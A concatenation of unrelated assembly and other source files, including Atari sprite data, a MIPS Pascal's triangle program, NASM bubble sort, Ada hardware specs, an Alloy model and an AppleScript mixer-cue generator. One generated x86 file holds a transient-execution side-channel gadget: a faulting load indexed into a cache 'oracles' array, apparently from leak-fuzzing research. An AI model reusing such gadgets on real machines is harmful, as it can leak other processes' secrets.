.byte #%00001000 ; #
; Possible:
; JET_HIGHT = . - JetSprite
JetSpriteTurn:
.byte #%00000000 ;
.byte #%00001000 ; #
.byte #%00111110 ; #####
.byte #%00011100 ; ###
.byte #%00011100 ; ###
.byte #%00011100 ; ###
.byte #%00001000 ; #
.byte #%00001000 ; #
.byte #%00001000 ; #
BomberSprite:
.byte #%00000000 ;
.byte #%00001000 ; #
.byte #%00001000 ; #
.byte #%00101010 ; # # #
.byte #%00111110 ; #####
.byte #%01111111 ; #######
.byte #%00101010 ; # # #
.byte #%00001000 ; #
.byte #%00011100 ; ###
JetColor:
.byte #$00
.byte #$FE
.byte #$0C
.byte #$0E
.byte #$0E
.byte #$04
.byte #$BA
.byte #$0E
.byte #$08
JetColorTurn:
.byte #$00
.byte #$FE
.byte #$0C
.byte #$0E
.byte #$0E
.byte #$04
.byte #$0E
.byte #$0E
.byte #$08
BomberColor:
.byte #$00
.byte #$32
.byte #$32
.byte #$0E
.byte #$40
.byte #$40
.byte #$40
.byte #$40
.byte #$40
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Complete ROM size with exactly 4KB
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
org $FFFC ; move to position $FFFC
word Reset ; write 2 bytes with the program reset address
word Reset ; write 2 bytes with the interruption vector
|
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca_notsx.log_15_156.asm | ljhsiun2/medusa | 9 | 93413 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x1de2a, %r13
clflush (%r13)
nop
nop
nop
add $5553, %rsi
mov $0x6162636465666768, %rbp
movq %rbp, %xmm1
movups %xmm1, (%r13)
nop
dec %rcx
lea addresses_WC_ht+0x6a6a, %rsi
lea addresses_WT_ht+0x12c4a, %rdi
nop
nop
xor $413, %rax
mov $59, %rcx
rep movsl
nop
nop
nop
nop
nop
xor %rcx, %rcx
lea addresses_UC_ht+0xf9ea, %rcx
nop
inc %rdx
mov $0x6162636465666768, %rbp
movq %rbp, %xmm1
vmovups %ymm1, (%rcx)
nop
nop
sub %rsi, %rsi
lea addresses_normal_ht+0x1496a, %rcx
clflush (%rcx)
nop
xor %r13, %r13
mov $0x6162636465666768, %rax
movq %rax, %xmm7
vmovups %ymm7, (%rcx)
nop
nop
nop
xor %r13, %r13
lea addresses_WC_ht+0x1296a, %rax
nop
nop
nop
nop
nop
and $39488, %rbp
vmovups (%rax), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $0, %xmm2, %rcx
nop
nop
nop
sub $1887, %rbp
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
// Store
lea addresses_A+0x19e6a, %r11
nop
dec %rdx
mov $0x5152535455565758, %rdi
movq %rdi, %xmm3
movups %xmm3, (%r11)
nop
nop
and $21977, %rdx
// Store
lea addresses_UC+0x1a46a, %r9
nop
nop
nop
nop
dec %r8
movb $0x51, (%r9)
nop
nop
nop
nop
and $27242, %rdi
// Faulty Load
lea addresses_US+0x1f86a, %r9
nop
nop
and %r11, %r11
mov (%r9), %rcx
lea oracles, %rdi
and $0xff, %rcx
shlq $12, %rcx
mov (%rdi,%rcx,1), %rcx
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 9}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_US', 'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 6}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_WT_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 8}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 8}}
{'00': 15}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
test/ir/pascalTriangle.asm | kpsunil/gogo | 2 | 178522 | <reponame>kpsunil/gogo<filename>test/ir/pascalTriangle.asm
.data
twoSpc: .asciiz " "
threeSpc: .asciiz " "
newline: .asciiz "\n"
str: .asciiz "Enter number of rows: "
rows: .word 0
coef: .word 0
i: .word 0
space: .word 0
temp: .word 0
k: .word 0
.text
.globl main
.ent main
main:
li $v0, 4
la $a0, str
syscall
li $v0, 5
syscall
move $t1, $v0
li $t4, 1 # coef -> $t4
sw $t1, rows # spilled rows, freed $t1
li $t1, 0 # i -> $t1
# Store variables back into memory
sw $t1, i
sw $t4, coef
outerFor:
lw $t1, i
lw $t4, rows
bge $t1, $t4, exit # exit -> $t0
li $t3, 1 # space -> $t3
# Store variables back into memory
sw $t1, i
sw $t4, rows
sw $t3, space
spcFor:
lw $t1, rows
lw $t4, i
sub $t3, $t1, $t4 # temp -> $t3
li $t2, 0 # k -> $t2
# Store variables back into memory
sw $t1, rows
sw $t4, i
sw $t3, temp
sw $t2, k
lw $t1, space
lw $t4, temp
bgt $t1, $t4, innerFor # innerFor -> $t0
li $v0, 4
la $a0, twoSpc
syscall
addi $t1, $t1, 1 # space -> $t1
# Store variables back into memory
sw $t1, space
sw $t4, temp
j spcFor
li $t1, 0 # k -> $t1
# Store variables back into memory
sw $t1, k
innerFor:
lw $t1, k
lw $t4, i
bgt $t1, $t4, endLine # endLine -> $t0
# Store variables back into memory
sw $t1, k
sw $t4, i
lw $t1, k
beq $t1, 0, labelIf # labelIf -> $t0
# Store variables back into memory
sw $t1, k
lw $t1, i
beq $t1, 0, labelIf # labelIf -> $t0
lw $t4, k
sub $t3, $t1, $t4 # temp -> $t3
addi $t3, $t3, 1 # temp -> $t3
lw $t2, coef
mul $t2, $t2, $t3 # coef -> $t2
div $t2, $t2, $t4 # coef -> $t2
# Store variables back into memory
sw $t1, i
sw $t4, k
sw $t3, temp
sw $t2, coef
j labelCoef
labelIf:
li $t1, 1 # coef -> $t1
# Store variables back into memory
sw $t1, coef
labelCoef:
li $v0, 4
la $a0, threeSpc
syscall
li $v0, 1
lw $t1, coef
move $a0, $t1
syscall
lw $t4, k
addi $t4, $t4, 1 # k -> $t4
# Store variables back into memory
sw $t4, k
sw $t1, coef
j innerFor
endLine:
li $v0, 4
la $a0, newline
syscall
lw $t1, i
addi $t1, $t1, 1 # i -> $t1
# Store variables back into memory
sw $t1, i
j outerFor
exit:
li $v0, 10
syscall
.end main
|
oeis/296/A296160.asm | neoneye/loda-programs | 11 | 97388 | <gh_stars>10-100
; A296160: Sum of the larger parts of the partitions of n into two parts such that the smaller part is even.
; 0,0,0,2,3,4,5,10,12,14,16,24,27,30,33,44,48,52,56,70,75,80,85,102,108,114,120,140,147,154,161,184,192,200,208,234,243,252,261,290,300,310,320,352,363,374,385,420,432,444,456,494,507,520,533,574,588,602,616,660,675,690,705,752,768,784,800,850,867,884,901,954,972,990,1008,1064,1083,1102,1121,1180,1200,1220,1240,1302,1323,1344,1365,1430,1452,1474,1496,1564,1587,1610,1633,1704,1728,1752,1776,1850
mov $1,$0
add $0,1
div $0,4
sub $1,$0
mul $0,$1
|
Microprocessor lab/bubbleSort/bubbleSort.nasm | IamVaibhavsar/Second_Year_Lab_Assignments | 34 | 102 | %include"macro.nasm"
;Write X86 program to sort the list of integers in ascending/descending order. Read the input
;from the text file and write the sorted data back to the same text file using bubble sort
global _start
_start:
section .text
pop rcx ;3
pop rcx ;assg8.asm
pop rcx ;t3.txt
mov [filename],rcx
fopen [filename]
cmp rax,-1H
je error
mov [filehandle],rax
fread [filehandle],buffer,buf_len
dec rax
mov [ac_buf_len],rax
display buffer,[ac_buf_len]
call bubble_sort
fwrite [filehandle],buffer,[ac_buf_len]
fclose [filehandle]
jmp exit
error:
display msg2,len2
exit:
mov rax,60
mov rdi,0
syscall
bubble_sort:
mov cl,byte[ac_buf_len]
mov [cnt1],cl ;cnt1=total no. of elements
ol:
mov cl,byte[ac_buf_len]
dec cl ;no of passes
mov [cnt2],cl ;cnt2=number of elements-1
mov rsi,buffer
mov rdi,buffer
inc rdi
il:
mov al,[rsi]
mov bl,[rdi]
cmp al,bl
jbe l1
mov [rsi],bl ;swapping
mov [rdi],al
l1:
inc rsi
inc rdi
dec byte[cnt2]
jnz il
dec byte[cnt1]
jnz ol
ret
section .data
msg2 db 10,"file opening is unsuccessful"
len2 equ $-msg2
section .bss
filename resb 100
buffer resb 100
buf_len resb 100
ac_buf_len resb 100
filehandle resb 100
cnt1 resb 50
cnt2 resb 50
|
libsrc/_DEVELOPMENT/string/c/sccz80/bcopy_callee.asm | teknoplop/z88dk | 8 | 169910 | <reponame>teknoplop/z88dk
; BSD
; void bcopy(const void *src, void *dst, size_t len)
SECTION code_clib
SECTION code_string
PUBLIC bcopy_callee
EXTERN asm_bcopy
bcopy_callee:
pop hl
pop bc
pop de
ex (sp),hl
jp asm_bcopy
|
src/ada/src/uxas-messages-lmcptask-taskautomationrequest-spark_boundary.ads | pat-rogers/OpenUxAS | 0 | 11978 | <gh_stars>0
with Common_Formal_Containers; use Common_Formal_Containers;
package uxas.messages.Lmcptask.TaskAutomationRequest.SPARK_Boundary with SPARK_Mode is
pragma Annotate (GNATprove, Terminating, SPARK_Boundary);
function Get_EntityList_From_OriginalRequest
(Request : TaskAutomationRequest) return Int64_Vect
with Global => null;
function Get_OperatingRegion_From_OriginalRequest
(Request : TaskAutomationRequest) return Int64
with Global => null;
function Get_PlanningStates_Ids
(Request : TaskAutomationRequest) return Int64_Vect
with Global => null;
function Get_TaskList_From_OriginalRequest
(Request : TaskAutomationRequest) return Int64_Vect
with Global => null;
end uxas.messages.Lmcptask.TaskAutomationRequest.SPARK_Boundary;
|
Desk Control/SendToMix.applescript | streth11/Qlab-Scripts | 0 | 3442 | -- Creates a midi sysex cue to set the value of a fader's send to a mix
-- Yamaha LS9-32
-- change to preamble will change desk type, should work for modern desks
-- but to be vereified
--
-- Example string inputs:
-- ch 7 to mix 5 at -20 -- send channel 7 to mix 5 at -20db
--
-- accepted chan values: ch 1-64
-- accepted mix values: mix 1-16
-- accepoted db values: -inf ; -137 -> +10
--
-- author: t.streuli
------- Script --------
tell application id "com.figure53.Qlab.4" to tell front workspace
display dialog "Enter Fader Sent to Mix Control String" default answer "" buttons {"Set", "Cancel"} cancel button "Cancel" default button "Set" with title "SCENE NUMBER"
set inputMsg to text returned of result
set message to my faderString(inputMsg)
-- Make the midi program cue
make type "Midi"
set midiBank to first item of (selected as list)
set message type of midiBank to sysex
set sysex message of midiBank to message
set q name of midiBank to inputMsg
end tell
---------- Functions ----------------
-- SYSEX midi string for given control string
on faderString(inputMsg)
set pre to "43 10 3E 12 01"
set splitText to split(inputMsg, space)
-- channel & mix number
set chanN to item 2 of splitText as integer
set chanNumVal to hex(chanN - 1)
set mixN to item 5 of splitText as integer
set mixNumVal to hex(mixN*3+2)
-- send value value
set dbVal to item 7 of splitText as number
if dbVal = "-inf" then
set value to "00 00"
else
set value to midiDbVal(dbVal)
end if
set msg to pre & " 00 43 00 " & mixNumVal & " 00 " & chanNumVal & " 00 00 00 " & value
return msg
end faderString
-- fader value as hex string
on midiDbVal(d)
if d > -138.0 and d ≤ -96.0 then
set q to 47 + (d / 3)
else if d > -96.0 and d ≤ -78.0 then
set q to 111 + d
else if d > -77.8 and d ≤ -40 then
set q to 423 + d * 5
else if d > -40 and d ≤ -20 then
set q to 623 + d * 10
else if d > -20 then
set q to 823 + d * 20
end if
set q to round (q)
set y to q div 128 as text
set z to hex(q mod 128)
set midiVal to "0" & y & " " & z
return midiVal
end midiDbVal
-- splits text into list
to split(someText, delimiter)
set AppleScript's text item delimiters to delimiter
set someText to someText's text items
set AppleScript's text item delimiters to {""}
return someText
end split
-- returns hex from an integer
on hex(x)
set val to do shell script "perl -e 'printf(\"%02X\", " & x & ")'"
return val
end hex |
osascript/is-installed.applescript | Mu-L/ImageOptim-CLI | 1,951 | 2714 | <filename>osascript/is-installed.applescript
#!/bin/osascript
on isInstalled(bundleId)
try
tell application "Finder" to get application file id bundleId
return true
on error
return false
end try
end isInstalled
on run argv
set bundleId to item 1 of argv
return isInstalled(bundleId)
end run
|
src/svd/sam_svd-fpu.ads | Fabien-Chouteau/samd51-hal | 1 | 28127 | <reponame>Fabien-Chouteau/samd51-hal<gh_stars>1-10
pragma Style_Checks (Off);
-- This spec has been automatically generated from ATSAMD51G19A.svd
pragma Restrictions (No_Elaboration_Code);
with HAL;
with System;
package SAM_SVD.FPU is
pragma Preelaborate;
---------------
-- Registers --
---------------
-- Floating-Point Context Control Register
type FPU_FPCCR_Register is record
LSPACT : Boolean := False;
USER : Boolean := False;
-- unspecified
Reserved_2_2 : HAL.Bit := 16#0#;
THREAD : Boolean := False;
HFRDY : Boolean := False;
MMRDY : Boolean := False;
BFRDY : Boolean := False;
-- unspecified
Reserved_7_7 : HAL.Bit := 16#0#;
MONRDY : Boolean := False;
-- unspecified
Reserved_9_29 : HAL.UInt21 := 16#0#;
LSPEN : Boolean := True;
ASPEN : Boolean := True;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for FPU_FPCCR_Register use record
LSPACT at 0 range 0 .. 0;
USER at 0 range 1 .. 1;
Reserved_2_2 at 0 range 2 .. 2;
THREAD at 0 range 3 .. 3;
HFRDY at 0 range 4 .. 4;
MMRDY at 0 range 5 .. 5;
BFRDY at 0 range 6 .. 6;
Reserved_7_7 at 0 range 7 .. 7;
MONRDY at 0 range 8 .. 8;
Reserved_9_29 at 0 range 9 .. 29;
LSPEN at 0 range 30 .. 30;
ASPEN at 0 range 31 .. 31;
end record;
subtype FPU_FPCAR_ADDRESS_Field is HAL.UInt29;
-- Floating-Point Context Address Register
type FPU_FPCAR_Register is record
-- unspecified
Reserved_0_2 : HAL.UInt3 := 16#0#;
-- Address for FP registers in exception stack frame
ADDRESS : FPU_FPCAR_ADDRESS_Field := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for FPU_FPCAR_Register use record
Reserved_0_2 at 0 range 0 .. 2;
ADDRESS at 0 range 3 .. 31;
end record;
-- Default value for FPSCR.RMODE
type FPDSCR_RMODESelect is
(-- Round to Nearest
RN,
-- Round towards Positive Infinity
RP,
-- Round towards Negative Infinity
RM,
-- Round towards Zero
RZ)
with Size => 2;
for FPDSCR_RMODESelect use
(RN => 0,
RP => 1,
RM => 2,
RZ => 3);
-- Floating-Point Default Status Control Register
type FPU_FPDSCR_Register is record
-- unspecified
Reserved_0_21 : HAL.UInt22 := 16#0#;
-- Default value for FPSCR.RMODE
RMODE : FPDSCR_RMODESelect := SAM_SVD.FPU.RN;
-- Default value for FPSCR.FZ
FZ : Boolean := False;
-- Default value for FPSCR.DN
DN : Boolean := False;
-- Default value for FPSCR.AHP
AHP : Boolean := False;
-- unspecified
Reserved_27_31 : HAL.UInt5 := 16#0#;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for FPU_FPDSCR_Register use record
Reserved_0_21 at 0 range 0 .. 21;
RMODE at 0 range 22 .. 23;
FZ at 0 range 24 .. 24;
DN at 0 range 25 .. 25;
AHP at 0 range 26 .. 26;
Reserved_27_31 at 0 range 27 .. 31;
end record;
subtype FPU_MVFR0_A_SIMD_registers_Field is HAL.UInt4;
subtype FPU_MVFR0_Single_precision_Field is HAL.UInt4;
subtype FPU_MVFR0_Double_precision_Field is HAL.UInt4;
subtype FPU_MVFR0_FP_excep_trapping_Field is HAL.UInt4;
subtype FPU_MVFR0_Divide_Field is HAL.UInt4;
subtype FPU_MVFR0_Square_root_Field is HAL.UInt4;
subtype FPU_MVFR0_Short_vectors_Field is HAL.UInt4;
subtype FPU_MVFR0_FP_rounding_modes_Field is HAL.UInt4;
-- Media and FP Feature Register 0
type FPU_MVFR0_Register is record
-- Read-only.
A_SIMD_registers : FPU_MVFR0_A_SIMD_registers_Field;
-- Read-only.
Single_precision : FPU_MVFR0_Single_precision_Field;
-- Read-only.
Double_precision : FPU_MVFR0_Double_precision_Field;
-- Read-only.
FP_excep_trapping : FPU_MVFR0_FP_excep_trapping_Field;
-- Read-only.
Divide : FPU_MVFR0_Divide_Field;
-- Read-only.
Square_root : FPU_MVFR0_Square_root_Field;
-- Read-only.
Short_vectors : FPU_MVFR0_Short_vectors_Field;
-- Read-only.
FP_rounding_modes : FPU_MVFR0_FP_rounding_modes_Field;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for FPU_MVFR0_Register use record
A_SIMD_registers at 0 range 0 .. 3;
Single_precision at 0 range 4 .. 7;
Double_precision at 0 range 8 .. 11;
FP_excep_trapping at 0 range 12 .. 15;
Divide at 0 range 16 .. 19;
Square_root at 0 range 20 .. 23;
Short_vectors at 0 range 24 .. 27;
FP_rounding_modes at 0 range 28 .. 31;
end record;
subtype FPU_MVFR1_FtZ_mode_Field is HAL.UInt4;
subtype FPU_MVFR1_D_NaN_mode_Field is HAL.UInt4;
subtype FPU_MVFR1_FP_HPFP_Field is HAL.UInt4;
subtype FPU_MVFR1_FP_fused_MAC_Field is HAL.UInt4;
-- Media and FP Feature Register 1
type FPU_MVFR1_Register is record
-- Read-only.
FtZ_mode : FPU_MVFR1_FtZ_mode_Field;
-- Read-only.
D_NaN_mode : FPU_MVFR1_D_NaN_mode_Field;
-- unspecified
Reserved_8_23 : HAL.UInt16;
-- Read-only.
FP_HPFP : FPU_MVFR1_FP_HPFP_Field;
-- Read-only.
FP_fused_MAC : FPU_MVFR1_FP_fused_MAC_Field;
end record
with Volatile_Full_Access, Object_Size => 32,
Bit_Order => System.Low_Order_First;
for FPU_MVFR1_Register use record
FtZ_mode at 0 range 0 .. 3;
D_NaN_mode at 0 range 4 .. 7;
Reserved_8_23 at 0 range 8 .. 23;
FP_HPFP at 0 range 24 .. 27;
FP_fused_MAC at 0 range 28 .. 31;
end record;
-----------------
-- Peripherals --
-----------------
-- Floating Point Unit
type FPU_Peripheral is record
-- Floating-Point Context Control Register
FPCCR : aliased FPU_FPCCR_Register;
-- Floating-Point Context Address Register
FPCAR : aliased FPU_FPCAR_Register;
-- Floating-Point Default Status Control Register
FPDSCR : aliased FPU_FPDSCR_Register;
-- Media and FP Feature Register 0
MVFR0 : aliased FPU_MVFR0_Register;
-- Media and FP Feature Register 1
MVFR1 : aliased FPU_MVFR1_Register;
end record
with Volatile;
for FPU_Peripheral use record
FPCCR at 16#4# range 0 .. 31;
FPCAR at 16#8# range 0 .. 31;
FPDSCR at 16#C# range 0 .. 31;
MVFR0 at 16#10# range 0 .. 31;
MVFR1 at 16#14# range 0 .. 31;
end record;
-- Floating Point Unit
FPU_Periph : aliased FPU_Peripheral
with Import, Address => FPU_Base;
end SAM_SVD.FPU;
|
programs/oeis/001/A001950.asm | karttu/loda | 0 | 16436 | ; A001950: Upper Wythoff sequence (a Beatty sequence): a(n) = floor(n*phi^2), where phi = (1+sqrt(5))/2.
; 2,5,7,10,13,15,18,20,23,26,28,31,34,36,39,41,44,47,49,52,54,57,60,62,65,68,70,73,75,78,81,83,86,89,91,94,96,99,102,104,107,109,112,115,117,120,123,125,128,130,133,136,138,141,143,146,149,151,154,157,159,162,164,167,170,172,175,178,180,183,185,188,191,193,196,198,201,204,206,209,212,214,217,219,222,225,227,230,233,235,238,240,243,246,248,251,253,256,259,261,264,267,269,272,274,277,280,282,285,287,290,293,295,298,301,303,306,308,311,314,316,319,322,324,327,329,332,335,337,340,342,345,348,350,353,356,358,361,363,366,369,371,374,376,379,382,384,387,390,392,395,397,400,403,405,408,411,413,416,418,421,424,426,429,431,434,437,439,442,445,447,450,452,455,458,460,463,466,468,471,473,476,479,481,484,486,489,492,494,497,500,502,505,507,510,513,515,518,520,523,526,528,531,534,536,539,541,544,547,549,552,555,557,560,562,565,568,570,573,575,578,581,583,586,589,591,594,596,599,602,604,607,610,612,615,617,620,623,625,628,630,633,636,638,641,644,646,649,651,654
mov $3,$0
mov $4,$0
add $4,1
lpb $4,1
mov $0,$3
sub $4,1
sub $0,$4
mov $7,$0
mov $9,2
lpb $9,1
sub $9,1
add $0,$9
sub $0,1
mov $2,$0
mov $6,$0
lpb $2,1
add $6,1
lpb $6,1
mov $6,$2
add $2,2
pow $6,2
lpe
sub $2,1
add $6,$0
lpe
mov $5,$2
mov $10,$9
lpb $10,1
mov $8,$5
sub $10,1
lpe
lpe
lpb $7,1
mov $7,0
sub $8,$5
lpe
mov $5,$8
add $5,2
add $1,$5
lpe
|
src/grammar/Local_en.g4 | omerfarukz/Child-Lang | 17 | 6531 | <reponame>omerfarukz/Child-Lang
grammar Local_en;
import LanguageBase;
COMMAND_WRITE : 'print'; |
zfp-gba/gnat/i-c.ads | 98devin/ada-gba-dev | 7 | 11464 | <filename>zfp-gba/gnat/i-c.ads
------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- I N T E R F A C E S . C --
-- --
-- S p e c --
-- --
-- This specification is derived from the Ada Reference Manual for use with --
-- GNAT. In accordance with the copyright of that document, you can freely --
-- copy and modify this specification, provided that if you redistribute a --
-- modified version, any changes that you have made are clearly indicated. --
-- --
------------------------------------------------------------------------------
-- SweetAda SFP cutted-down version --
------------------------------------------------------------------------------
-- GBADA C conversion functions removed --
------------------------------------------------------------------------------
with System.Parameters;
package Interfaces.C is
pragma Pure;
-- Declaration's based on C's <limits.h>
CHAR_BIT : constant := 8;
SCHAR_MIN : constant := -128;
SCHAR_MAX : constant := 127;
UCHAR_MAX : constant := 255;
-- Signed and Unsigned Integers. Note that in GNAT, we have ensured that
-- the standard predefined Ada types correspond to the standard C types
-- Note: the Integer qualifications used in the declaration of type long
-- avoid ambiguities when compiling in the presence of s-auxdec.ads and
-- a non-private system.address type.
type int is new Integer;
type short is new Short_Integer;
type long is range -(2 ** (System.Parameters.long_bits - Integer'(1)))
.. +(2 ** (System.Parameters.long_bits - Integer'(1))) - 1;
type long_long is new Long_Long_Integer;
type signed_char is range SCHAR_MIN .. SCHAR_MAX;
for signed_char'Size use CHAR_BIT;
type unsigned is mod 2 ** int'Size;
type unsigned_short is mod 2 ** short'Size;
type unsigned_long is mod 2 ** long'Size;
type unsigned_long_long is mod 2 ** long_long'Size;
type unsigned_char is mod (UCHAR_MAX + 1);
for unsigned_char'Size use CHAR_BIT;
-- Note: the Integer qualifications used in the declaration of ptrdiff_t
-- avoid ambiguities when compiling in the presence of s-auxdec.ads and
-- a non-private system.address type.
type ptrdiff_t is
range -(2 ** (System.Parameters.ptr_bits - Integer'(1))) ..
+(2 ** (System.Parameters.ptr_bits - Integer'(1)) - 1);
type size_t is mod 2 ** System.Parameters.ptr_bits;
----------------------------
-- Characters and Strings --
----------------------------
type char is new Character;
nul : constant char := char'First;
function To_C (Item : Character) return char
with Inline_Always;
function To_Ada (Item : char) return Character
with Inline_Always;
type char_array is array (size_t range <>) of aliased char;
for char_array'Component_Size use CHAR_BIT;
function Is_Nul_Terminated (Item : char_array) return Boolean;
------------------------------------
-- Wide Character and Wide String --
------------------------------------
type wchar_t is new Wide_Character;
for wchar_t'Size use Standard'Wchar_T_Size;
wide_nul : constant wchar_t := wchar_t'First;
function To_C (Item : Wide_Character) return wchar_t
with Inline_Always;
function To_Ada (Item : wchar_t) return Wide_Character
with Inline_Always;
type wchar_array is array (size_t range <>) of aliased wchar_t;
function Is_Nul_Terminated (Item : wchar_array) return Boolean;
type char16_t is new Wide_Character;
char16_nul : constant char16_t := char16_t'Val (0);
function To_C (Item : Wide_Character) return char16_t;
function To_Ada (Item : char16_t) return Wide_Character;
type char16_array is array (size_t range <>) of aliased char16_t;
function Is_Nul_Terminated (Item : char16_array) return Boolean;
type char32_t is new Wide_Wide_Character;
char32_nul : constant char32_t := char32_t'Val (0);
function To_C (Item : Wide_Wide_Character) return char32_t
with Inline_Always;
function To_Ada (Item : char32_t) return Wide_Wide_Character
with Inline_Always;
type char32_array is array (size_t range <>) of aliased char32_t;
function Is_Nul_Terminated (Item : char32_array) return Boolean;
end Interfaces.C;
|
article_56/03_no_op_filter.asm | tisnik/go-fedora | 18 | 82122 | <filename>article_56/03_no_op_filter.asm
TEXT main.copyPixels(SB) /home/ptisnovs/src/go-root/article_56/03_no_op_filter.go
func copyPixels(src []uint8, dst []uint8) {
0x4b94e0 64488b0c25f8ffffff MOVQ FS:0xfffffff8, CX
0x4b94e9 483b6110 CMPQ 0x10(CX), SP
0x4b94ed 0f86bc000000 JBE 0x4b95af
0x4b94f3 4883ec60 SUBQ $0x60, SP
0x4b94f7 48896c2458 MOVQ BP, 0x58(SP)
0x4b94fc 488d6c2458 LEAQ 0x58(SP), BP
copy(dst, src)
0x4b9501 488b842488000000 MOVQ 0x88(SP), AX
0x4b9509 488b8c2480000000 MOVQ 0x80(SP), CX
0x4b9511 488b942490000000 MOVQ 0x90(SP), DX
0x4b9519 48894c2440 MOVQ CX, 0x40(SP)
0x4b951e 4889442448 MOVQ AX, 0x48(SP)
0x4b9523 4889542450 MOVQ DX, 0x50(SP)
0x4b9528 488b442468 MOVQ 0x68(SP), AX
0x4b952d 488b4c2470 MOVQ 0x70(SP), CX
0x4b9532 488b542478 MOVQ 0x78(SP), DX
0x4b9537 4889442428 MOVQ AX, 0x28(SP)
0x4b953c 48894c2430 MOVQ CX, 0x30(SP)
0x4b9541 4889542438 MOVQ DX, 0x38(SP)
0x4b9546 488b442448 MOVQ 0x48(SP), AX
0x4b954b 4889442420 MOVQ AX, 0x20(SP)
0x4b9550 4839442430 CMPQ AX, 0x30(SP)
0x4b9555 7c02 JL 0x4b9559
0x4b9557 eb54 JMP 0x4b95ad
0x4b9559 488b442430 MOVQ 0x30(SP), AX
0x4b955e 4889442420 MOVQ AX, 0x20(SP)
0x4b9563 eb00 JMP 0x4b9565
0x4b9565 488b442428 MOVQ 0x28(SP), AX
0x4b956a 4839442440 CMPQ AX, 0x40(SP)
0x4b956f 7502 JNE 0x4b9573
0x4b9571 eb38 JMP 0x4b95ab
0x4b9573 488b442420 MOVQ 0x20(SP), AX
0x4b9578 4889442418 MOVQ AX, 0x18(SP)
0x4b957d 488b442440 MOVQ 0x40(SP), AX
0x4b9582 48890424 MOVQ AX, 0(SP)
0x4b9586 488b442428 MOVQ 0x28(SP), AX
0x4b958b 4889442408 MOVQ AX, 0x8(SP)
0x4b9590 488b442418 MOVQ 0x18(SP), AX
0x4b9595 4889442410 MOVQ AX, 0x10(SP)
0x4b959a e8a1b9f9ff CALL runtime.memmove(SB)
0x4b959f eb00 JMP 0x4b95a1
0x4b95a1 488b6c2458 MOVQ 0x58(SP), BP
0x4b95a6 4883c460 ADDQ $0x60, SP
0x4b95aa c3 RET
0x4b95ab ebf4 JMP 0x4b95a1
0x4b95ad ebb6 JMP 0x4b9565
func copyPixels(src []uint8, dst []uint8) {
0x4b95af e8ec89f9ff CALL runtime.morestack_noctxt(SB)
0x4b95b4 e927ffffff JMP main.copyPixels(SB)
|
iAlloy-dataset-master/mutant_version_set/addressBook/v1/addressBook.als | jringert/alloy-diff | 1 | 4104 | module chapter5/addressBook
//JOR//open util/integer [] as integer
abstract sig Target {}
sig Addr extends Target {}
sig Name extends Target {}
sig Book {
addr: (Name->Target)
}
pred add[b,b': Book,n: Name,t: Target] {
((b'.addr) = ((b.addr) + (n->t)))
}
fun lookup[b: Book,n: Name] : (set Addr) {
((n.(^(b.addr))) & Addr)
}
fact Acyclic {
(all b: (one Book) {
(no n: (one Name) {
(n in (n.(^(b.addr))))
})
})
}
assert addLocal {
(all b,b': (one Book),n,n': (one Name),t: (one Target) {
(((add[b,b',n,t]) && (n != n')) => ((lookup[b,n']) = (lookup[b',n'])))
})
}
run add for 16
check addLocal for 16
|
test/data/fibonacci.asm | phlo/concubine | 0 | 94776 | # calculates the famous fibonacci numbers
# k = 1 => fib(0)
# k = 2 => fib(1)
STORE 1
ADDI 1
fib: STORE 2
ADD 1
STORE 1
ADD 2
JMP fib
|
src/main/fragment/mos6502-undoc/vbuxx=vbuc1_minus_vbuaa.asm | jbrandwood/kickc | 2 | 105433 | eor #$ff
tax
axs #-{c1}-1 |
kernel/misc/panic.asm | ssebs/xos | 15 | 93262 |
;; xOS32
;; Copyright (C) 2016-2017 by <NAME>.
use32
divide_text db "Division error.",0
debug_text db "Debug interrupt.",0
nmi_text db "Non-maskable interrupt.",0
breakpoint_text db "Breakpoint.",0
overflow_text db "Overflow exception.",0
bound_text db "BOUND range overflow.",0
opcode_text db "Undefined opcode.",0
